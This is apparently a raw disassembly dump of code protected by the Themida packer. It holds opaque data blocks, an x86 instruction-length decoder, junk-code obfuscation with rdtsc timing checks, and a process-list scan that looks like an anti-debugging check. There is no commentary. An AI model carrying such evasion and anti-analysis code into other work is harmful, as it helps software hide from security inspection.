0A8E6F78Ah, 5427A867h, 0D11A285h, 7A1310A3h dd 13ACF916h, 1EF19C7Dh, 0D6577EB3h, 3D09426h, 0D1EB1A6h dd 0B45C917Eh, 0C2CE19C8h, 2767004Dh, 1A7029E8h, 137E91FFh dd 0E0AA0BDEh, 9427FA2Fh, 0ABF797AFh, 37A347DFh, 0B2E3E3AAh dd 7A3822BCh, 8A000000h, 92F5FD14h, 0F147DF5Fh, 4C4253E6h dd 174CC3CDh, 8CA4D944h, 47DF6001h, 0DBB22F9Bh, 22BCFEFBh dd 130h, 1A728200h, 95F7C0F5h, 137C457Ah, 6843DFCh, 6E01D409h dd 2DFF389h, 97BAD089h, 6A23BFD3h, 4CDF4A6Dh, 626A513Bh dd 47DF7425h, 0D53A5556h, 0F762CDA0h, 927D11AAh, 0D3B4BCD3h dd 1F47DF73h, 0F1F20804h, 202BC34Dh, 0E099908Dh, 5B2E63ACh dd 0E67996FAh, 0F41B72B8h, 2596F6BFh, 40F01F6Ch, 47DF5F47h dd 0BACDD534h, 0C947DF5Fh, 29E853BEh, 95321F70h, 6FA26127h dd 0A972A712h, 26F92EE1h, 644328BBh, 0A7E601E0h, 757B0C14h dd 0FD0847DFh, 751AD392h, 130A079Ah, 0B7043F92h, 0F1120AE4h dd 0C29AC303h, 0FA91F26Dh, 1D718215h, 0DD96BDF2h, 0BDCE61AEh dd 0D9404CCDh, 0B8ED58B7h, 3ABB7AE5h, 0BBC7262Fh, 8166F9F9h dd 338D7B8h, 89BE513Ah, 30BB26AAh, 0A97CB15Eh, 0E7FA163Eh dd 0BC5C50A0h, 0D0BF7822h, 0B1AAAC3Fh, 0FC000000h, 98A01B72h dd 47DF5FEFh, 0E116818Ch, 41497218h, 47DF5F46h, 8ABF2A35h dd 0E601E0F4h, 241B68A7h, 97A9C9A3h, 0DFAFF88Fh, 57808B47h dd 992CEE88h, 0D50A0588h, 3038830Ch, 47DFF457h, 525A1924h dd 47DFF535h, 9BD03B46h, 0DC4BCC0Bh, 0D8DF1A74h, 0BF5EB17h dd 8AF587BFh, 4D36ABF7h, 8D592E36h, 1F2A47DFh, 0D2D71F8Ch dd 586422BCh, 75000000h, 9831565Eh, 28947DFh, 6D05D80Dh dd 9781060Eh, 0F70247DFh, 14CBF98Ch, 5F92F5FDh, 0E6F147DFh dd 0C44B4253h, 45CAC68Fh, 0D2474710h, 0B6EB56B9h, 3B709FEDh dd 0BA1FC276h, 0E500E125h, 641A67A8h, 0C0F51A72h, 0DF5FE6A8h dd 974AB647h, 0BCFE90F0h, 14522h, 72970000h, 0F9C2F718h dd 1FC2BC95h, 1EA09634h, 0EAD67EB3h, 1D9EECF7h, 0DFA67215h dd 9B061147h, 4E6D23DCh, 0DFA74146h, 0CC374247h, 0D6DF3C39h dd 981930EFh, 2BA57D51h, 0C9BCB95h, 0E0F9F019h, 0DC335ABBh dd 0A15E949h, 253049F2h, 40474F66h, 1C4DF20Ah, 0F2097314h dd 6D05104Dh, 21EACF62h, 0BC55A26Dh, 0F0083DD2h, 4DF2099Dh dd 6DA26D21h, 0CD8429DCh, 13744440h, 985D927Dh, 53E8FDE4h dd 7717D20Fh, 0DCB24B98h, 5935FE33h, 4576F7B6h, 0F737B102h dd 2605EA7Dh, 8D463FA2h, 9F701BFEh, 992CFF34h, 0BC090688h dd 8F800CC5h, 87F4875Ah, 24AE630Fh, 164DCh, 0A5AE2E00h dd 154AC5CAh, 1018D742h, 49F17712h, 769DD2DDh, 87826FF5h dd 7EDFBED5h, 0FACD020Dh, 0D7385667h, 21305F18h, 185B559Bh dd 72319CFBh, 0F2011D6Ah, 0C0535E4Dh, 0AB642AC3h, 2EE1AD76h dd 4B961AF9h, 6221EEA0h, 44434Bh, 2C374DF2h, 2FA79C99h dd 8F24AE5Fh, 0D177078h, 59644DF2h, 63C4C6h, 14160000h dd 0CB132B93h, 3DD08FE4h, 0F7B5E68h, 97F8CB00h, 0EE116F9h dd 652BE4A3h, 38E481AAh, 0B700FD12h, 0BAADB524h, 0C9C7E006h dd 4B6289BEh, 0DEB74443h, 5A3637C7h, 42AD80B5h, 0B8384FAFh dd 0D286C7DEh, 1906100Fh, 38A435Ah, 0DB04D70Ch, 0AE7F7B77h dd 13730627h, 47DF2D54h, 780F5C67h, 9Dh, 539314E2h, 0EC236B23h dd 15BBE4B7h, 370C9F18h, 7C3F512Eh, 0E01E1374h, 0FA657047h dd 86C8D08Fh, 8149F23Fh, 16784176h, 7B13ACF9h, 45475F94h dd 3B4DF1F6h, 0A5741BD4h, 21F429E6h, 0D43B55B6h, 0ED39CC9Fh dd 7A95F9F4h, 0DAC7D02Dh, 7137131Bh, 45465007h, 0BE91C649h dd 0A9DE315Dh, 6D366BD6h, 182FEE21h, 0E4727710h, 9DA50447h dd 47E472EAh, 90238E99h, 64ABE2ABh, 0E728662Fh, 7071B5B2h dd 0A23F2B6Bh, 0B45B30E9h, 4419AC7Fh, 8097563Bh, 0B84BC4C7h dd 0F9EDF258h, 0B5020D49h, 0C0A5AEFFh, 5C31EA01h, 18AB7EB3h dd 0F4DA92B8h, 0D645C649h, 0D586208Bh, 4EC1CD2Eh, 336873BBh dd 2CEB246Ah, 36B0C0ABh, 0A033B481h, 8B840AA3h, 987713CCh dd 18FD9063h, 0BB5438F1h, 0A8DD325Ah, 1DE242D5h, 783C3AAFh dd 1C727D64h, 780889Fh, 745FD407h, 6CEB969h, 0A2AD5FD4h dd 3D51EA37h, 0BBD49DD2h, 34561F54h, 0ADDDA6DBh, 2C642D62h dd 0FD286E3h, 439E8ACAh, 0DC29E6A8h, 8FC44B43h, 8BDDE768h dd 920C7B83h, 646F5FD3h, 743AD3Bh, 126574h, 0D58E0000h dd 4F2257B8h, 49FF8890h, 717C5FD4h, 3422B0DEh, 0BBF01F72h dd 3E739CF2h, 0BFF41B75h, 457A95F6h, 0C9FE117Ch, 4D828D00h dd 0CF040B84h, 568B8406h, 0DB10FF8Dh, 0E38953D4h, 4C381h dd 0EB830000h, 241C8704h, 2404895Ch, 7B1D68h, 242C8900h dd 5C2568h, 243C8900h, 1784E368h, 242C8B06h, 4C481h, 8B540000h dd 0C483243Ch, 0EE895604h, 8B087789h, 0C4832434h, 2434FF04h dd 4C4815Fh, 0FF000000h, 815D2434h, 4C4h, 0F62FE900h, 3D28FFFAh dd 28549ED1h ; --------------------------------------------------------------------------- loc_5D45B0: ; CODE XREF: Themida_:005D3FB8j mov eax, 6178A73h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0BAh, 0C6h, 30h dd 45B6912Ch, 0BBF8B461h, 0B035E060h, 0CF459C3Dh, 5A32E16h dd 7A4F4C6Ch, 3E029F61h, 0C1A51317h, 0E0D04247h, 1C8E93Fh dd 88880000h, 7 dup(88880041h), 41h, 3 dup(0) dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h dd 44441111h, 2994444h, 203C988h, 88880010h, 88880011h dd 11118888h, 16441111h, 0 dd 8800h, 88888800h, 0 dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0 dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h dd 16E6FFFFh, 16FA0040h, 40h, 0 dd 30000h, 14h dup(0) dd 8C20000h, 75726600h, 0FE80h, 11h dup(0) dd 53E90000h, 55000003h, 0E8h, 0ED815D00h, 6178CDFh, 2C85C760h dd 6178Ch, 66000000h, 0A1663E81h, 0F850Fh, 85C70000h, 6178C30h dd 6, 24E9h, 34858D00h, 5006178Ch, 8C84858Dh, 56500617h dd 1DE8006Ah, 83000000h, 0FF2510C4h, 89000000h, 178C3085h dd 0B5036106h, 6178C30h, 8C2C858Bh, 0C35D0617h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_5D4845 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_5D4851 ; --------------------------------------------------------------------------- loc_5D4845: ; CODE XREF: Themida_:005D482Ej and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_5D4851: ; CODE XREF: Themida_:005D4840j push ebx push esi push edi loc_5D4854: ; CODE XREF: Themida_:005D48A9j ; Themida_:005D48C5j ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_5D4867: ; CODE XREF: Themida_:005D488Ej movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 6178D96h lea ebp, [ebp+6178C0Ch] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_5D4894 inc cl cmp cl, 0Bh jb loc_5D4867 loc_5D4894: ; CODE XREF: Themida_:005D4883j cmp cl, 0Bh jz loc_5D48F1 cmp al, 66h jnz loc_5D48D2 cmp byte ptr [ebp-5], 0 jnz loc_5D4854 cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_5D48CA mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_5D4854 ; --------------------------------------------------------------------------- loc_5D48CA: ; CODE XREF: Themida_:005D48B7j and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_5D48D2: ; CODE XREF: Themida_:005D489Fj cmp al, 67h jnz loc_5D4854 cmp byte ptr [ebp-6], 0 jnz loc_5D4854 xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_5D4854 ; --------------------------------------------------------------------------- loc_5D48F1: ; CODE XREF: Themida_:005D4897j mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_5D491D movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_5D4922 ; --------------------------------------------------------------------------- loc_5D491D: ; CODE XREF: Themida_:005D48FCj movzx edi, al shr edi, 1 loc_5D4922: ; CODE XREF: Themida_:005D4918j push ebp call $+5 pop ebp sub ebp, 6178E4Eh lea ebp, [ebp+6178B0Ch] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_5D4AA4 mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_5D49E8 dec ecx jz loc_5D49CB dec ecx jnz loc_5D4A3B cmp byte ptr [ebp-2], 0 jnz loc_5D4A37 cmp byte ptr [ebp-5], 0 jz loc_5D49AA mov byte ptr [ebp+0Bh], 2 loc_5D49AA: ; CODE XREF: Themida_:005D49A0j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 6178EDAh mov dword ptr [ebp+6178C2Ch], 1 pop ebp jmp loc_5D4A3B ; --------------------------------------------------------------------------- loc_5D49CB: ; CODE XREF: Themida_:005D4985j cmp byte ptr [ebp-2], 0 jnz loc_5D4A15 cmp byte ptr [ebp-5], 0 jz loc_5D4A15 mov byte ptr [ebp+0Bh], 2 jmp loc_5D4A15 ; --------------------------------------------------------------------------- loc_5D49E8: ; CODE XREF: Themida_:005D497Ej cmp byte ptr [ebp-2], 0 jnz loc_5D4A2E cmp byte ptr [ebp-5], 0 jz loc_5D4A1D movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_5D4A15 mov [ebp+0Bh], cl loc_5D4A15: ; CODE XREF: Themida_:005D49CFj ; Themida_:005D49D9j ... inc byte ptr [ebp+0Bh] jmp loc_5D4A3B ; --------------------------------------------------------------------------- loc_5D4A1D: ; CODE XREF: Themida_:005D49F6j cmp dl, 5 jnz loc_5D4A3B mov [ebp+0Bh], dl jmp loc_5D4A3B ; --------------------------------------------------------------------------- loc_5D4A2E: ; CODE XREF: Themida_:005D49ECj cmp dl, 6 jnz loc_5D4A3B loc_5D4A37: ; CODE XREF: Themida_:005D4996j mov byte ptr [ebp+0Bh], 3 loc_5D4A3B: ; CODE XREF: Themida_:005D498Cj ; Themida_:005D49C6j ... dec byte ptr [ebp+0Bh] jz loc_5D4A69 movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_5D4A4B: ; CODE XREF: Themida_:005D4A61j movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5D4A4B mov esi, edx loc_5D4A69: ; CODE XREF: Themida_:005D4A3Ej and al, 0FEh cmp al, 0F6h jnz loc_5D4A9E cmp edi, 7Fh ja loc_5D4A9E test bl, 38h jnz loc_5D4A9E cmp byte ptr [ebp-7], 0 jz loc_5D4A98 movzx eax, byte ptr [ebp-4] jmp loc_5D4A9B ; --------------------------------------------------------------------------- loc_5D4A98: ; CODE XREF: Themida_:005D4A89j push 1 pop eax loc_5D4A9B: ; CODE XREF: Themida_:005D4A93j mov [ebp-1], al loc_5D4A9E: ; CODE XREF: Themida_:005D4A6Dj ; Themida_:005D4A76j ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_5D4AA4: ; CODE XREF: Themida_:005D494Ej mov al, bl and eax, 7 sub eax, 4 jz loc_5D4ACF dec eax dec eax jz loc_5D4AC5 and bl, 7 add [ebp-1], bl jmp loc_5D4AD7 ; --------------------------------------------------------------------------- loc_5D4AC5: ; CODE XREF: Themida_:005D4AB4j mov al, [ebp-3] add al, 6 jmp loc_5D4AD4 ; --------------------------------------------------------------------------- loc_5D4ACF: ; CODE XREF: Themida_:005D4AACj mov al, [ebp-3] add al, 4 loc_5D4AD4: ; CODE XREF: Themida_:005D4ACAj add [ebp-1], al loc_5D4AD7: ; CODE XREF: Themida_:005D4AC0j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_5D4AFF movzx ecx, byte ptr [ebp-1] inc ecx loc_5D4AEA: ; CODE XREF: Themida_:005D4AF9j mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_5D4AEA loc_5D4AFF: ; CODE XREF: Themida_:005D4ADFj pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- lea eax, [ebp+6178CD9h] mov [ebp+6121AEDh], eax jmp loc_5D4D7D ; --------------------------------------------------------------------------- pusha mov cx, ds test cl, 4 jz loc_5D4B59 push 1 push dword ptr [ebp+61217F1h] lea eax, [ebp+615827Ah] call eax mov [ebp+6121A5Dh], eax mov edi, esi shr edi, 0Ch push 20060000h push 0 push 2 push edi push 1000Dh call dword ptr [ebp+6121A5Dh] jmp loc_5D4B8B ; --------------------------------------------------------------------------- loc_5D4B59: ; CODE XREF: Themida_:005D4B1Ej mov byte ptr [ebp+61215C1h], 56h push 0A9C530DFh push dword ptr [ebp+6123101h] lea eax, [ebp+615827Ah] call eax mov [ebp+6121E95h], eax lea eax, [ebp+6121841h] push eax push 40h push 5 push esi call dword ptr [ebp+6121E95h] loc_5D4B8B: ; CODE XREF: Themida_:005D4B54j popa retn ; --------------------------------------------------------------------------- align 10h dd 2 dup(0) dd 0D48B5200h, 8428B60h, 90BB8589h, 428B0617h, 0B385890Ch dd 8B061790h, 85891042h, 61790B7h, 90F1B58Dh, 858D0617h dd 5B8EA1h, 5A61D0FFh, 8B000CC2h, 1790BBB5h, 0B3858B06h dd 83061790h, 1790B7BDh, 840F0006h, 7, 2E90689h, 88000000h dd 0CF06h, 0 dd 8B520000h, 428B60D4h, 0BB858908h, 8D061790h, 179142B5h dd 0A1858D06h, 0FF005B8Eh, 8B5A61D0h, 1790BB85h, 4C206h dd 90BB858Bh, 8B0617h, 90BB8589h, 0CF0617h, 60000000h dd 9118B589h, 85890617h, 6179114h, 24E5858Dh, 408B0612h dd 51858944h, 8D061791h, 179187B5h, 0A1858D06h, 0FF005B8Eh dd 858B61D0h, 6179118h, 149D8BC3h, 0F061791h, 33C43B7h dd 785B8BD8h, 91149D03h, 738B0617h, 14B50324h, 56061791h dd 8B207B8Bh, 0BD031C73h, 6179114h, 9114B503h, 83FC0617h dd 8B41FFC9h, 1791189Dh, 3178B06h, 17911495h, 4C78306h dd 0C084028Ah, 0F840Fh, 33A0000h, 0FFDC850Fh, 4243FFFFh dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh dd 386048Bh, 17911485h, 18858906h, 8B061791h, 8BCE8BF0h dd 51BD81C1h, 61791h, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 6179151h dd 6070C83h, 8B07148Bh, 3C8124C2h, 0FC18B81h, 5784h, 51BD8100h dd 61791h, 0FC03000h, 0D85h, 0AE8C100h, 3FFFFC25h, 8E900h dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h dd 80h, 1E840Fh, 0BD810000h, 6179151h, 0C0300000h, 0E840Fh dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h db 0CFh ; --------------------------------------------------------------------------- loc_5D4D7D: ; CODE XREF: Themida_:005D4B12j lea eax, [ebp+61790BFh] mov [ebp+6122835h], eax lea eax, [ebp+6179155h] mov [ebp+6121EF9h], eax lea eax, [ebp+617911Ch] mov [ebp+61203F9h], eax jmp loc_5D4EE2 ; --------------------------------------------------------------------------- align 4 dd 4Eh dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5D4EE2: ; CODE XREF: Themida_:005D4DA1j cmp dword ptr [ebp+6121FC9h], 1 jz loc_5D546A pusha mov al, 0D0h jmp loc_5D4F09 ; --------------------------------------------------------------------------- db 5Bh dd 0B14B5A74h, 656A048Fh, 68A3159Bh, 986B6737h db 80h ; --------------------------------------------------------------------------- loc_5D4F09: ; CODE XREF: Themida_:005D4EF2j popa mov byte ptr [ebp+61215C1h], 43h jmp loc_5D4F2A ; --------------------------------------------------------------------------- dw 7321h dd 17C52B01h, 6375EC46h, 435F2B73h, 57BB8391h db 94h, 6Ah ; --------------------------------------------------------------------------- loc_5D4F2A: ; CODE XREF: Themida_:005D4F11j push 7D2BBDAFh push eax push edx pusha mov ebx, edx push ebx pop ecx popa rdtsc jmp loc_5D4F49 ; --------------------------------------------------------------------------- dw 996Bh dd 0C6C6A056h, 76CEE51Ch db 2Bh ; --------------------------------------------------------------------------- loc_5D4F49: ; CODE XREF: Themida_:005D4F39j pop edx pop eax add dword ptr [esp], 6F7A1346h jbe loc_5D4F68 jp loc_5D4F68 jmp loc_5D4F68 ; --------------------------------------------------------------------------- db 81h dd 0B2AFFB24h ; --------------------------------------------------------------------------- loc_5D4F68: ; CODE XREF: Themida_:005D4F52j ; Themida_:005D4F58j ... push dword ptr [ebp+6123101h] jmp loc_5D4F81 ; --------------------------------------------------------------------------- db 0Eh dd 0F3CFE7B4h, 5E013A5h, 77C081E4h db 34h ; --------------------------------------------------------------------------- loc_5D4F81: ; CODE XREF: Themida_:005D4F6Ej lea eax, [ebp+615827Ah] jg loc_5D4F8E cmc loc_5D4F8E: ; CODE XREF: Themida_:005D4F87j call eax pusha jg loc_5D4F9A mov ax, si loc_5D4F9A: ; CODE XREF: Themida_:005D4F91j xor di, 82DCh popa mov [ebp+6121DE5h], eax pusha pusha or dx, 0BC7h and bx, 6389h popa jmp loc_5D4FCB ; --------------------------------------------------------------------------- dd 0CF0EC2C1h, 0F1153110h, 75D933Ah, 0C34DF577h db 0ECh, 0E0h, 0A4h ; --------------------------------------------------------------------------- loc_5D4FCB: ; CODE XREF: Themida_:005D4FB3j popa mov byte ptr [ebp+61215C1h], 50h js loc_5D4FE0 pusha adc ax, 0F2EFh popa loc_5D4FE0: ; CODE XREF: Themida_:005D4FD3j push 0E728CB97h jl loc_5D4FF9 push eax push edx jnb $+6 rdtsc pusha popa pop edx pop eax loc_5D4FF9: ; CODE XREF: Themida_:005D4FE5j xor dword ptr [esp], 4F8566C1h pusha jmp loc_5D5019 ; --------------------------------------------------------------------------- dw 0B6E0h dd 9F0C074Ch, 78A008D3h, 3F6C3AD0h, 0B997D716h db 2Eh ; --------------------------------------------------------------------------- loc_5D5019: ; CODE XREF: Themida_:005D5001j ja loc_5D5025 js $+6 loc_5D5025: ; CODE XREF: Themida_:loc_5D5019j popa push dword ptr [ebp+6123101h] jmp loc_5D503E ; --------------------------------------------------------------------------- jnb short loc_5D50A1 xor ebx, ebp add [edi], al mov al, ds:0B4934341h stosb lodsd loc_5D503E: ; CODE XREF: Themida_:005D502Cj lea eax, [ebp+615827Ah] push 0 push ebp call sub_5D504F and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D504F proc near ; CODE XREF: Themida_:005D5047p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5D504F endp ; --------------------------------------------------------------------------- mov esi, 37DCBEF5h dec ebx pushf jnz loc_5D507F jmp loc_5D507F ; --------------------------------------------------------------------------- db 6Dh, 6Bh, 0AEh ; --------------------------------------------------------------------------- adc [esi+38FCC5AEh], al adc eax, 0B674A7A2h loc_5D507F: ; CODE XREF: Themida_:005D5066j ; Themida_:005D506Cj call eax pusha stc push eax jmp loc_5D5090 ; --------------------------------------------------------------------------- db 6Ch, 97h, 0F4h dd 55721971h ; --------------------------------------------------------------------------- loc_5D5090: ; CODE XREF: Themida_:005D5084j pop ecx popa pusha call near ptr loc_5D50A1+3 sbb edi, [bx+di] cmp [edi-500C0655h], edi loc_5D50A1: ; CODE XREF: Themida_:005D5031j ; Themida_:005D5093p call far ptr 5BDFh:0B70F528Ch movsx eax, ax popa mov [ebp+612145Dh], eax push 0 push ecx call sub_5D50BD and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D50BD proc near ; CODE XREF: Themida_:005D50B5p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5D50BD endp ; --------------------------------------------------------------------------- jnz short loc_5D5123 pop ecx adc bl, bl inc cl retn 10E9h ; --------------------------------------------------------------------------- align 4 dd 0ED100000h, 0D5D89E2Dh, 3EC741BCh, 2300E76Fh, 568B837h dd 50BBFC4Eh, 8B0F6052h, 0 dd 0F6129B2h, 0E9525031h, 9, 12DBA4A0h, 9D05EBB4h, 0E9310FB1h dd 5, 5E35B8EAh, 5A585A79h, 24048158h ; --------------------------------------------------------------------------- sub bl, [edx-6Dh] loc_5D5123: ; CODE XREF: Themida_:005D50CDj xor al, 60h jmp loc_5D5134 ; --------------------------------------------------------------------------- dw 27E0h dd 38E79715h, 0BDE33156h ; --------------------------------------------------------------------------- loc_5D5134: ; CODE XREF: Themida_:005D5125j sbb dx, 5546h popa push dword ptr [ebp+6123101h] jnb loc_5D5153 jmp loc_5D5153 ; --------------------------------------------------------------------------- db 29h dd 4901A1DBh db 9Dh, 0ADh, 0 ; --------------------------------------------------------------------------- loc_5D5153: ; CODE XREF: Themida_:005D5140j ; Themida_:005D5146j lea eax, [ebp+615827Ah] push 0 push edi call sub_5D5164 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D5164 proc near ; CODE XREF: Themida_:005D515Cp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5D5164 endp ; --------------------------------------------------------------------------- cmpsb xchg eax, ebp jmp loc_5D5186 ; --------------------------------------------------------------------------- db 87h dd 53D9F7C4h, 0ED90F2CDh db 0ADh, 0D0h ; --------------------------------------------------------------------------- loc_5D5186: ; CODE XREF: Themida_:005D5176j call eax push 0 push edx call sub_5D5193 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D5193 proc near ; CODE XREF: Themida_:005D518Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5D5193 endp ; --------------------------------------------------------------------------- sub ecx, edi mov [ebp+6122CB5h], eax push 0 push edx call sub_5D51B6 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D51B6 proc near ; CODE XREF: Themida_:005D51AEp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5D51B6 endp ; --------------------------------------------------------------------------- dw 745Bh dd 8FB14B5Ah, 9B656A04h, 188B0Fh, 13E90000h, 95000000h dd 49BC1D69h, 0C8505F82h, 0B1DB59E1h, 0BBF3C53Fh, 85C69CE7h dd 61215C1h, 56006A50h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 0E992D4B6h, 0Ah, 24ADF95Dh, 41107FE7h dd 0E768CAD3h, 50F64D14h, 6820F52h, 50000000h, 5A310F52h dd 0F310F58h, 1789h, 12E900h, 0B7070000h, 2767835Dh, 0E72C2AB2h dd 0B8A8BDB7h, 243FAE3h, 3481585Ah, 0D1C8B124h, 0E960F961h dd 0Fh, 0AF4A1B42h, 0FEBD05CBh, 28CC7F33h, 609FA65Fh, 10E8F8h dd 80700000h, 0F9347965h, 7B893C76h, 7833F1ACh, 6158C5EDh dd 0F1B5FF61h, 0E9061217h, 5, 95F1B61Fh, 48858DC2h, 0F06123Bh dd 0E86h, 820F6000h, 0 ; --------------------------------------------------------------------------- ja $+6 popa call eax clc pusha jmp loc_5D52CD ; --------------------------------------------------------------------------- dd 0A8A871Ch, 0B04A92E0h, 0C1C350A0h ; --------------------------------------------------------------------------- dec ebp loc_5D52CD: ; CODE XREF: Themida_:005D52BBj adc bx, 47DFh popa mov [ebp+61222D5h], eax pusha js loc_5D52E6 jnz $+6 loc_5D52E6: ; CODE XREF: Themida_:005D52DAj jmp loc_5D52F9 ; --------------------------------------------------------------------------- mov dh, 7Bh mov bl, 0B8h les eax, [esi] movsb xor [ecx+62h], eax xor esp, [ebx] js short loc_5D5376 loc_5D52F9: ; CODE XREF: Themida_:loc_5D52E6j popa jmp loc_5D546A ; --------------------------------------------------------------------------- stc push eax jmp loc_5D530E ; --------------------------------------------------------------------------- dw 2C12h dd 383432EFh db 9Dh, 0C6h ; --------------------------------------------------------------------------- loc_5D530E: ; CODE XREF: Themida_:005D5301j mov [esp], ebp jmp loc_5D5320 ; --------------------------------------------------------------------------- dw 534h dd 0DDE8E080h, 0CAEE4C6Fh ; --------------------------------------------------------------------------- loc_5D5320: ; CODE XREF: Themida_:005D5311j mov ebp, esp cmc add esp, 0FFFFFFFCh push 0 push ecx call sub_5D5331 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D5331 proc near ; CODE XREF: Themida_:005D5329p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5D5331 endp ; --------------------------------------------------------------------------- jmp ebx ; --------------------------------------------------------------------------- jmp loc_5D535C ; --------------------------------------------------------------------------- dd 0A9F0D8D3h, 1200705Bh, 4C089F7Bh, 0A46C9931h, 460AE877h ; --------------------------------------------------------------------------- loc_5D535C: ; CODE XREF: Themida_:005D5343j jmp loc_5D5374 ; --------------------------------------------------------------------------- db 0B3h, 3Dh, 0BAh dd 7606F605h, 0E29622F3h, 0EDBA55D1h, 57F3213Fh ; --------------------------------------------------------------------------- loc_5D5374: ; CODE XREF: Themida_:loc_5D535Cj pusha ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_5D5376: ; CODE XREF: Themida_:005D52F7j or eax, 66000000h ; --------------------------------------------------------------------------- db 0DBh dd 6E25D64h, 0CD0E30BAh, 0E845B7FFh, 0 ; --------------------------------------------------------------------------- pop edx sub edx, 61798B2h mov dword ptr [ebp-4], 0 cmp dword ptr [edx+6121FC9h], 1 jz loc_5D543F push edx push 0 push 0Fh call dword ptr [edx+6121DE5h] pop edx mov [edx+61792CCh], eax lea ebx, [edx+61792D0h] push edx mov dword ptr [ebx], 128h push ebx push eax call dword ptr [edx+612145Dh] pop edx loc_5D53CF: ; CODE XREF: Themida_:005D53F9j ; Themida_:005D542Dj push edx lea ebx, [edx+61792D0h] push ebx push dword ptr [edx+61792CCh] call dword ptr [edx+61222D5h] pop edx or eax, eax jz short loc_5D5438 lea ebx, [edx+61792D0h] lea edi, [ebx+24h] xor ecx, ecx loc_5D53F3: ; CODE XREF: Themida_:005D5403j cmp ecx, 104h jz short loc_5D53CF inc ecx cmp dword ptr [ecx+edi], 4558452Eh jnz short loc_5D53F3 lea esi, [ecx+edi] sub esi, [ebp+0Ch] lea edi, [edx+6120CBDh] mov ecx, [ebp+0Ch] rep movsb xor al, al stosb push edx push dword ptr [ebp+8] lea eax, [edx+6120CBDh] push eax call dword ptr [edx+6122CB5h] pop edx or eax, eax jnz short loc_5D53CF mov dword ptr [ebp-4], 1 jmp short loc_5D543F ; --------------------------------------------------------------------------- loc_5D5438: ; CODE XREF: Themida_:005D53E6j mov dword ptr [ebp-4], 0 loc_5D543F: ; CODE XREF: Themida_:005D53A1j ; Themida_:005D5436j popa 